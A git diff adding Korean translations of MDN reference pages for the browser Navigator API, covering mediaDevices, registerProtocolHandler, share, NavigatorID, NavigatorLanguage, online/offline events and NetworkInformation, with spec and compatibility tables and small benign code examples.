Returns a reference to a {{domxref("MediaDevices")}} object which can then be used to get information about available media devices ({{domxref("MediaDevices.enumerateDevices()")}}), find out what constrainable properties are supported for media on the user's computer and user agent ({{domxref("MediaDevices.getSupportedConstraints()")}}), and to request access to media using {{domxref("MediaDevices.getUserMedia()")}}.
+
{{domxref("Navigator.mediaSession")}} {{readonlyinline}} {{experimental_inline}}
+
Returns {{domxref("MediaSession")}} object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls UI.
+
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}
+
Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.
+
{{domxref("Navigator.onLine")}} {{readonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating whether the browser is working online.
+
{{domxref("Navigator.permissions")}} {{readonlyinline}} {{experimental_inline}}
+
Returns a {{domxref("Permissions")}} object that can be used to query and update permission status of APIs covered by the Permissions API.
+
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}
+
Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.
+
{{domxref("Navigator.presentation")}} {{readonlyInline}} {{experimental_inline}}
+
Returns a reference to the {{domxref("Presentation")}} API.
+
{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}
+
Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the associated document.
+
{{domxref("NavigatorStorage.storage")}} {{readonlyinline}}
+
Returns the singleton {{domxref('StorageManager')}} object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
Returns the user agent string for the current browser.
+
{{domxref("Navigator.vendor")}} {{readonlyInline}}
+
Returns the vendor name of the current browser (e.g., "Netscape6").
+
{{domxref("Navigator.webdriver")}} {{readonlyInline}} {{experimental_inline}}
+
Indicates whether the user agent is controlled by automation.
+
{{domxref("Navigator.xr")}} {{readonlyInline}} {{experimental_inline}}
+
Returns {{domxref("XR")}} object, which represents the entry point into the WebXR API.
+
+ +

비표준 속성

+ +
+
{{domxref("Navigator.buildID")}} {{non-standard_inline}}
+
Returns the build identifier of the browser. In modern browsers this property now returns a fixed timestamp as a privacy measure, e.g. 20181001000000 in Firefox 64 onwards.
+
{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}
+
Returns an empty string. In Netscape 4.7x, returns "US & CA domestic policy" or "Export policy".
+
{{domxref("Navigator.standalone")}} {{non-standard_inline}}
+
Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.
+
{{domxref("Navigator.wakeLock")}} {{readonlyInline}} {{non-standard_inline}}
+
Returns a {{domxref("WakeLock")}} interface you can use to request screen wake locks and prevent screen from dimming, turning off, or showing a screen saver.
+
+ +

메서드

+ +

아무 메서드도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorUserMedia")}}, {{domxref("NavigatorStorageUtils")}}가 정의하는 메서드를 구현합니다.

+ +
+
{{domxref("Navigator.canShare()")}}
+
Returns true if a call to Navigator.share() would succeed.
+
{{domxref("Navigator.registerProtocolHandler()")}}
+
Allows web sites to register themselves as a possible handler for a given protocol.
+
{{domxref("Navigator.requestMediaKeySystemAccess()")}}
+
Returns a {{jsxref("Promise")}} for a MediaKeySystemAccess object.
+
{{domxref("Navigator.sendBeacon()")}}
+
Used to asynchronously transfer a small amount of data using {{Glossary("HTTP")}} from the User Agent to a web server.
+
{{domxref("Navigator.share()")}}
+
Invokes the native sharing mechanism of the current platform.
+
{{domxref("Navigator.vibrate()")}}
+
Causes vibration on devices with support for it. Does nothing if vibration support isn't available.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#the-navigator-object', 'the Navigator object')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +
{{Compat("api.Navigator")}}
diff --git a/files/ko/web/api/navigator/mediadevices/index.html b/files/ko/web/api/navigator/mediadevices/index.html new file mode 100644 index 0000000000..01a4984acd --- /dev/null +++ b/files/ko/web/api/navigator/mediadevices/index.html @@ -0,0 +1,56 @@ +--- +title: Navigator.mediaDevices +slug: Web/API/Navigator/mediaDevices +tags: + - Media + - Media Capture and Streams API + - Media Streams API + - Navigator + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Navigator/mediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +

Navigator.mediaDevices 읽기 전용 속성은 카메라, 마이크, 화면 공유와 같이 현재 연결된 미디어 입력 장치에 접근할 수 있는 {{domxref("MediaDevices")}} 객체를 반환합니다.

+ +

구문

+ +
var mediaDevices = navigator.mediaDevices;
+
+ +

반환 값

+ +

{{domxref("MediaDevices")}} 싱글톤 객체.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Navigator.mediaDevices")}}

+ +

참조

+ + diff --git a/files/ko/web/api/navigator/mozmobilemessage/index.html b/files/ko/web/api/navigator/mozmobilemessage/index.html new file mode 100644 index 0000000000..7645d8d833 --- /dev/null +++ b/files/ko/web/api/navigator/mozmobilemessage/index.html @@ -0,0 +1,58 @@ +--- +title: window.navigator.mozMobileMessage +slug: Web/API/Navigator/mozMobileMessage +tags: + - Non-standard + - Obsolete +translation_of: Archive/B2G_OS/API/Navigator/mozMobileMessage +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('certified') }}

+ +

요약

+ +

{{ domxref("MozMobileMessageManager") }} 객체를 반환한다. 이 객체는 MMS와 SMS 메시지를 보내거나 받는데 사용된다.

+ +

명세

+ +

 

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

설정 & 이용 가능한 환경

+ +
 
+ + + +

참고 자료

+ + diff --git a/files/ko/web/api/navigator/moznotification/index.html b/files/ko/web/api/navigator/moznotification/index.html new file mode 100644 index 0000000000..9c593ec4a1 --- /dev/null +++ b/files/ko/web/api/navigator/moznotification/index.html @@ -0,0 +1,63 @@ +--- +title: navigator.mozNotification +slug: Web/API/Navigator/mozNotification +translation_of: Archive/API/Navigator/mozNotification +--- +
+

The support for this property as been dropped in favor of the standard {{domxref("Notification")}} constructor.

+
+ +

Provides support for creating {{ domxref("notification") }} objects, which are used to display desktop notification alerts to the user. Currently, these are only supported on Firefox Mobile and Firefox OS. See Displaying notifications for an example.

+ +

Method overview

+ + + + + + + +
notification createNotification(in DOMString title, in DOMString description, in DOMString iconURL {{ optional_inline() }});
+ +

Methods

+ +

createNotification()

+ +

Creates and returns a notification object that can be used to display the specified message with an optional URL.

+ +
notification createNotification(
+  in DOMString title,
+  in DOMString description,
+  in DOMString iconURL {{ optional_inline() }}
+);
+
+ +
Parameters
+ +
+
title
+
알림 타이틀.
+
description
+
알림에 표시할 텍스트.
+
iconURL {{ optional_inline() }}
+
A URL identifying the image to display in the notification.
+
+ +
Return value
+ +

A new {{ domxref("notification") }} object.

+ +

Permissions

+ +

manifest 파일에 "desktop-notification" permission 을 추가 해야 한다.

+ +
"permissions": {
+    "desktop-notification":{}
+}
+ +

See also

+ + diff --git a/files/ko/web/api/navigator/mozsms/index.html b/files/ko/web/api/navigator/mozsms/index.html new file mode 100644 index 0000000000..d6c9c16983 --- /dev/null +++ b/files/ko/web/api/navigator/mozsms/index.html @@ -0,0 +1,67 @@ +--- +title: window.navigator.mozSms +slug: Web/API/Navigator/mozSms +tags: + - API + - Firefox OS + - Mobile + - Obsolete + - Property + - WebSMS +translation_of: Archive/B2G_OS/API/Navigator/mozSms +--- +

{{APIRef("Mobile Messaging API")}}

+ +
+

Obsolete since Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)
+ This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.

+
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

MozSmsManager 객체를 반환한다. 이 객체는 SMS 메시지를 보내거나 받는데 사용된다.

+ +
+

Note: Do not use anymore! This object has been removed in favor of Navigator.mozMobileMessage.

+
+ +

명세

+ +

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

설정 & 이용 가능한 환경

+ +
 
+ + + +

참고 자료

+ + diff --git a/files/ko/web/api/navigator/registerprotocolhandler/index.html b/files/ko/web/api/navigator/registerprotocolhandler/index.html new file mode 100644 index 0000000000..1b146a356e --- /dev/null +++ b/files/ko/web/api/navigator/registerprotocolhandler/index.html @@ -0,0 +1,125 @@ +--- +title: Navigator.registerProtocolHandler() +slug: Web/API/Navigator/registerProtocolHandler +tags: + - API + - DOM + - Method + - Navigator + - Reference +translation_of: Web/API/Navigator/registerProtocolHandler +--- +
{{APIRef("HTML DOM")}}{{securecontext_header}}
+ +

Navigator.registerProtocolHandler() 메서드는 웹 사이트가 특정 {{glossary("URL")}} 스킴("프로토콜")을 열거나 처리할 수 있도록 등록합니다. 이를테면, 이메일 사이트가 mailto: URL에, VoIP 사이트가 tel: URL에 자신을 등록할 때 사용할 수 있습니다.

+ +

구문

+ +
navigator.registerProtocolHandler(protocol, url, title);
+ +

매개변수

+ +
+
protocol
+
웹 사이트가 처리하고자 하는 프로토콜 문자열. 예컨대 SMS 문자 메시지를 처리하고자 한다면 "sms"를 전달하세요.
+
url
+
처리기의 URL. 플레이스홀더로 사용할 %s를 반드시 포함해야 합니다. 실제 사용 시, %s에는 처리 대상 URL을 이스케이프 처리해 대입합니다. +
참고: 처리기의 URL은 반드시 http 또는 https 스킴을 필요로 합니다. 일부 브라우저는 보안상 https를 요구하므로 https를 사용하는 편이 좋습니다.
+
+
title
+
사람이 읽을 수 있는 형태의 처리기 이름. 브라우저 설정 등 처리기 목록에서 사용자에게 보이는 이름입니다.
+
+ +

예외

+ +
+
SecurityError
+
{{glossary("user agent", "사용자 에이전트")}}가 등록을 막았습니다. 다음 상황에서 발생할 수 있습니다. +
    +
  • 등록하려는 스킴(프로토콜)이 유효하지 않습니다. 브라우저가 직접 처리하는 스킴을 등록하려 하면 발생합니다. (https:, about:, ...)
  • +
  • 처리기 URL의 {{glossary("출처")}}가 API를 호출한 페이지 출처와 일치하지 않습니다.
  • +
  • 브라우저가 보안 맥락에서의 registerProtocolHandler() 호출을 요구합니다.
  • +
  • 브라우저가 처리기 URL의 HTTPS 사용을 요구합니다.
  • +
+
+
SyntaxError
+
처리기 URL에 %s 플레이스홀더가 없습니다.
+
+ +

가능한 스킴

+ +

보안상의 이유로, registerProtocolHandler()가 등록할 수 있는 스킴은 제한적입니다.

+ +

사용자 지정 스킴은 다음 조건을 만족해야 합니다.

+ + + +

아래 {{anch("예제")}}에서 사용한 web+burger는 제약조건을 만족하는 사용자 지정 스킴입니다.

+ +

그 외에는 다음 스킴을 등록할 수 있습니다.

+ +
+ +
+ +

예제

+ +

사이트 주소가 burgers.example.com인 경우, 아래 코드로 web+burger: 스킴에 대한 처리기를 등록할 수 있습니다.

+ +
navigator.registerProtocolHandler("web+burger",
+                                  "https://burgers.example.com/?burger=%s",
+                                  "Burger handler");
+ +

이제, web+burger: 링크는 사용자를 burgers.example.com로 보내고, 자신의 URL을 %s 위치에 삽입합니다.

+ +

이때, 예제 코드는 처리기 URL과 같은 {{glossary("출처")}}를 가져야 하므로 https://burgers.example.com의 페이지 안에서 호출해야 하며, 처리기 URL은 http/https를 사용해야 합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'system-state.html#custom-handlers', 'registerProtocolHandler()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Navigator.registerProtocolHandler")}}

diff --git a/files/ko/web/api/navigator/share/index.html b/files/ko/web/api/navigator/share/index.html new file mode 100644 index 0000000000..852999aeb6 --- /dev/null +++ b/files/ko/web/api/navigator/share/index.html @@ -0,0 +1,68 @@ +--- +title: Navigator.share +slug: Web/API/Navigator/share +translation_of: Web/API/Navigator/share +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+ +

Navigator.share() 메소드는 Web Share API 의 부분으로서 디바이스의 네이티브 공유하기 메커니즘을 작동시킨다. Web Share API 가 지원되지 않는다면, 이 메소드는 undefined 일 것이다.

+ +

Syntax

+ +
var sharePromise = window.navigator.share(data);
+
+ +

Parameters

+ +
+
data
+
공유할 데이터가 담긴 객체. 아래의 필드들 중 적어도 하나는 명시되어야 한다. 사용 가능한 옵션들은:
+
+ + + +
+
+ +

Return value

+ +

사용자가 공유하기 액션을 완료하면 resolve 될 {{domxref("Promise")}}. data 파라메터가 정확하게 명시되지 않는다면 즉시 reject 될 것이다.

+ +

예를 들어, 안드로이드용 크롬에서 반환되는 Promise 는 사용자가 공유할 애플리케이션을 선택한 후에 resolve 될 것이다.

+ +

Examples

+ +
navigator.share({
+  title: document.title,
+  text: 'Hello World',
+  url: 'https://developer.mozilla.org',
+}); // share the URL of MDN
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Share API','#share-method','share()')}}{{Spec2('Web Share API')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Navigator.share")}}

diff --git a/files/ko/web/api/navigatorid/index.html b/files/ko/web/api/navigatorid/index.html new file mode 100644 index 0000000000..d3f1159cc4 --- /dev/null +++ b/files/ko/web/api/navigatorid/index.html @@ -0,0 +1,74 @@ +--- +title: NavigatorID +slug: Web/API/NavigatorID +translation_of: Web/API/NavigatorID +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorID 인터페이스에는 브라우저의 ID와 관련된 메소드 및 특성이 들어있습니다.

+ +

NavigatorID, 에는 유형의 객체가 없지만, {{domxref("Navigator")}} 또는 {{domxref("WorkerNavigator")}}와 같은 인터페이스는 이를 포함합니다.

+ +

Properties

+ +

NavigatorID 인터페이스는 속성을 상속하지 않습니다.

+ +
+
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}
+
모든 브라우저에서 항상 'Mozilla'를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.
+
{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}
+
브라우저의 공식명을 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.
+
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}
+
브라우저의 버젼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.
+
{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}
+
브라우저의 플랫폼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.
+
{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}
+
모든 브라우저에서 항상 'Gecko' 를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
현재 브라우저의 사용자 에이전트 문자열을 반환합니다.
+
+ +

Methods

+ +

NavigatorID 인터페이스는 메소드를 상속하지 않습니다.

+ +
+
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}
+
언제나 false를 반환합니다. 자바스크립트의 taint/untaint 함수는 1.2 버젼에서 없어졌습니다. 이 방법은 호환성 목적으로만 유지됩니다.Not available in workers.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML WHATWG')}}호환성을 위해 appCodeName 속성과 taintEnabled() 메서드를 추가했습니다.
{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML5 W3C')}}초기 사양
+ +

브라우저 호환성

+ + + +

{{Compat("api.NavigatorID")}}

+ +

그외에 볼 것

+ + diff --git a/files/ko/web/api/navigatorlanguage/index.html b/files/ko/web/api/navigatorlanguage/index.html new file mode 100644 index 0000000000..0bec377b46 --- /dev/null +++ b/files/ko/web/api/navigatorlanguage/index.html @@ -0,0 +1,65 @@ +--- +title: NavigatorLanguage +slug: Web/API/NavigatorLanguage +tags: + - API + - HTML-DOM + - Reference +translation_of: Web/API/NavigatorLanguage +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorLanguage contains methods and properties related to the language of the navigator.

+ +

There is no object of type NavigatorLanguage, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.

+ +

Properties

+ +

The NavigatorLanguage interface doesn't inherit any property.

+ +
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The null value is returned when this is unknown.
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
+
Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.
+
+ +

Methods

+ +

The NavigatorLanguage interface neither implements, nor inherit any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML WHATWG')}}Since the {{SpecName('HTML5 W3C')}} snapshot, the languages property has been added.
{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML5 W3C')}}Initial specification; snapshot of  an early version{{SpecName('HTML WHATWG')}}.
+ +

Browser compatibility

+ + + +

{{Compat("api.NavigatorLanguage")}}

+ +

See also

+ + diff --git a/files/ko/web/api/navigatorlanguage/language/index.html b/files/ko/web/api/navigatorlanguage/language/index.html new file mode 100644 index 0000000000..a6488bff2d --- /dev/null +++ b/files/ko/web/api/navigatorlanguage/language/index.html @@ -0,0 +1,133 @@ +--- +title: NavigatorLanguage.language +slug: Web/API/NavigatorLanguage/language +translation_of: Web/API/NavigatorLanguage/language +--- +
{{APIRef("HTML DOM")}}
+ +

 

+ +

NavigatorLanguage.language 읽기 전용 속성은 사용자의 기본 언어 (일반적으로 브라우저 UI의 언어)를 나타내는 문자열을 반환합니다.

+ +

Syntax

+ +
var lang = navigator.language
+
+ +

Value

+ +

A {{domxref("DOMString")}}. lang stores a string representing the language version as defined in BCP 47. Examples of valid language codes include "en", "en-US", "fr", "fr-FR", "es-ES", etc.

+ +

Note that in Safari on macOS and iOS prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc.

+ +

Example

+ +
if (window.navigator.language != 'en') {
+  doLangSelect(window.navigator.language);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML5.1', '#dom-navigator-language', 'NavigatorLanguage.language') }}{{ Spec2('HTML5.1') }}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}[2]
+ {{CompatGeckoDesktop("5.0")}}[3]
11.0[4]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("35")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatNo}}[4]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("35")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Returns the browser UI language, not the value of the Accept-Language HTTP header.

+ +

[2] Prior to Gecko 2.0 {{geckoRelease("2.0")}}, this property's value was also part of the user agent string, as reported by {{domxref("window.navigator.userAgent", "navigator.userAgent")}}.

+ +

[3] Starting in Gecko 5.0 {{geckoRelease("5.0")}}, this property's value is based on the value of the Accept-Language HTTP header.

+ +

[4] Closest available (non-standard) properties are userLanguage and browserLanguage.

+ +

See also

+ + diff --git a/files/ko/web/api/navigatoronline/index.html b/files/ko/web/api/navigatoronline/index.html new file mode 100644 index 0000000000..9c61e0f858 --- /dev/null +++ b/files/ko/web/api/navigatoronline/index.html @@ -0,0 +1,63 @@ +--- +title: NavigatorOnLine +slug: Web/API/NavigatorOnLine +tags: + - API + - HTML-DOM +translation_of: Web/API/NavigatorOnLine +--- +

{{APIRef("HTML DOM")}}

+ +

The NavigatorOnLine interface contains methods and properties related to the connectivity status of the browser.

+ +

There is no object of type NavigatorOnLine, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.

+ +

Properties

+ +

The NavigatorOnLine interface doesn't inherit any property.

+ +
+
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating whether the browser is working online.
+
+ +

Methods

+ +

The NavigatorOnLine interface neither implements, nor inherit any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML WHATWG')}}No change from the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.NavigatorOnLine")}}

+ +

See also

+ + diff --git a/files/ko/web/api/navigatoronline/online_and_offline_events/index.html b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html new file mode 100644 index 0000000000..0869f15f6d --- /dev/null +++ b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html @@ -0,0 +1,107 @@ +--- +title: Online and offline events +slug: Web/API/NavigatorOnLine/Online_and_offline_events +tags: + - AJAX + - DOM + - Web Development +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +

In progress {{ Fx_minversion_header(3) }} Firefox 3WHATWG 웹 애플리케이션 1.0 명세에 기술된 온라인/오프라인 이벤트를 구현합니다.

+ +

개요

+ +

좋은 오프라인 가능(offline-capable) 웹 애플리케이션을 작성하려면 여러분의 애플리케이션이 실제로 오프라인이 되는 때를 알아야 합니다. 덧붙여, 여러분의 애플리케이션이 '온라인' 상태로 돌아오는 때도 알아야 합니다. 사실, 이 요구사항은 다음과 같이 정리할 수 있습니다.

+ +
    +
  1. 여러분이 서버와 재동기화할 수 있도록 사용자가 온라인으로 돌아오는 때를 알아야 합니다.
  2. +
  3. 여러분의 서버 요청을 나중에 처리하기 위해 대기시킬 수 있도록 사용자가 오프라인이 되는 때를 알아야 합니다.
  4. +
+ +

온라인/오프라인 이벤트는 이 과정을 단순하게 만드는 것을 도와줍니다.

+ +

여러분의 웹 애플리케이션은 특정 문서가 오프라인 자원 캐시에 보관되는 것을 확실하게 할 필요도 있습니다. 이를 위해서는 다음과 같이 HEAD 섹션에 LINK 요소를 포함합니다.

+ +
<link rel="offline-resource" href="myresource">
+
+ +

이는 Firefox 3 및 이후 버전에서 HTML을 처리할 때, 참조하는 자원을 오프라인에서 사용할 수 있도록 특별한 오프라인 자원 캐시에 저장하도록 합니다.

+ +

API

+ + + +

navigator.onLinetrue/false(온라인은 true, 오프라인은 false)를 보관하는 속성입니다. 이 속성은 사용자가 해당 메뉴 항목(파일 -> 오프라인 작업)을 선택하여 "오프라인 모드"로 전환할 때마다 갱신됩니다.

+ +

또한 이 속성은 브라우저가 네트워크에 더 이상 연결할 수 없을 때마다 갱신됩니다. 명세에 따르면:

+ +
사용자가 링크를 따라가거나 스크립트가 원격 페이지를 요청할 때 사용자 에이전트가 네트워크에 접속할 수 없으면 (혹은 그러한 시도가 실패할 것이라는 것을 안다면) navigator.onLine 속성은 false를 반환해야 합니다...
+ +

Firefox 2는 윈도우와 리눅스에서 브라우저의 온라인/오프라인 모드가 바뀔 때와 네트워크가 끊어지거나 다시 접속될 때 이 속성을 갱신합니다.

+ +

이 속성은 Firefox와 Internet Explorer의 이전 버전에도 있으므로 (명세는 이러한 기존 구현을 바탕으로 합니다) 이를 즉시 사용할 수 있습니다. 네트워크 상태의 자동 감지는 Firefox 2에서 구현되었습니다.

+ +

"online"과 "offline" 이벤트

+ +

Firefox 3는 두 가지 새로운 이벤트를 도입하고 있습니다: 바로 "online"과 "offline"입니다. 이 두 가지 이벤트는 브라우저가 온라인과 오프라인 모드를 전환할 때 각 페이지의 <body>에서 발생합니다. 덧붙여, 이 이벤트는 document.body에서 document로 전달되고 window에서 끝납니다. 두 가지 이벤트 모두 취소 불가능한(non-cancellable) 이벤트입니다(여러분은 사용자가 온라인이 되거나 오프라인이 되는 것을 막을 수 없습니다).

+ +

널리 알려진 몇 가지 방법으로 해당 이벤트에 대한 리스너(listener)를 등록할 수 있습니다.

+ + + +

예제

+ +

이벤트가 동작하는지 확인할 수 있는 간단한 테스트 케이스가 있습니다. XXX When mochitests for this are created, point to those instead and update this example -nickolay

+ +
 <!doctype html>
+ <html>
+ <head>
+   <script>
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   </script>
+   <style>...</style>
+ </head>
+ <body onload="loaded()">
+   <div id="status"><p id="state"></p></div>
+   <div id="log"></div>
+ </body>
+ </html>
+
+ +

참고

+ + + +

 

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}

diff --git a/files/ko/web/api/networkinformation/connection/index.html b/files/ko/web/api/networkinformation/connection/index.html new file mode 100644 index 0000000000..1afa39d9c1 --- /dev/null +++ b/files/ko/web/api/networkinformation/connection/index.html @@ -0,0 +1,105 @@ +--- +title: window.navigator.connection +slug: Web/API/NetworkInformation/connection +translation_of: Web/API/Navigator/connection +--- +

{{ Apiref() }}

+

{{ SeeCompatTable() }}

+

요약

+

네트워크 정보 API는 사용자 기기의 현재 대역폭이나 연결이 과금되는 지와 같은 정보를 알려줍니다. 이를 이용해서 사용자의 연결에 기반해서 높은 품질의 콘텐츠를 제공할지 낮은 품질의 콘텐츠를 제공할지 선택할 수 있습니다.

+

속성

+
+
+ {{domxref("window.navigator.connection.bandwidth", "connection.bandwidth")}} {{ReadOnlyInline}}
+
+ 현재 연결에 대한 다운로드 대역폭을 MB/s 단위의 double 형태로 알려줍니다. 사용자가 오프라인일 경우는 0이고 알 수 없을 경우에는 infinity로 나옵니다.
+
+ {{domxref("window.navigator.connection.metered", "connection.metered")}} {{ReadOnlyInline}}
+
+ 연결이 과금이 되는 경우(예를 들어 pay-per-use) Boolean 형의 true가 반환됩니다.
+
+

이벤트 핸들러

+
+
+ {{domxref("window.navigator.connection.onchange", "connection.onchange")}}
+
+ {{event("change")}} 이벤트에 대한 이벤트 핸들러 속성입니다. 연결 정보가 변경될 때 이벤트가 발생합니다.
+
+
+

주의: connection 객체는 이벤트를 다루기 위한 {{domxref("EventTarget.addEventListener","addEventListener")}} 메서드를 사용할 수 있는 {{domxref("EventTarget")}}을 상속받습니다.

+
+

명세

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Network Information', '', 'Network Information API') }}{{ Spec2('Network Information') }}Initial specification
+

브라우저 호환성

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support20? {{ property_prefix("webkit") }}12.0 {{ property_prefix("moz") }} (see notes){{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}12.0 {{ property_prefix("moz") }} (see notes){{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

Gecko 관련 내용

+ +

관련 내용

+ diff --git a/files/ko/web/api/networkinformation/index.html b/files/ko/web/api/networkinformation/index.html new file mode 100644 index 0000000000..5bcdd84c8f --- /dev/null +++ b/files/ko/web/api/networkinformation/index.html @@ -0,0 +1,90 @@ +--- +title: NetworkInformation +slug: Web/API/NetworkInformation +tags: + - API +translation_of: Web/API/NetworkInformation +--- +
{{APIRef("Network Information API")}}{{SeeCompatTable}}
+ +

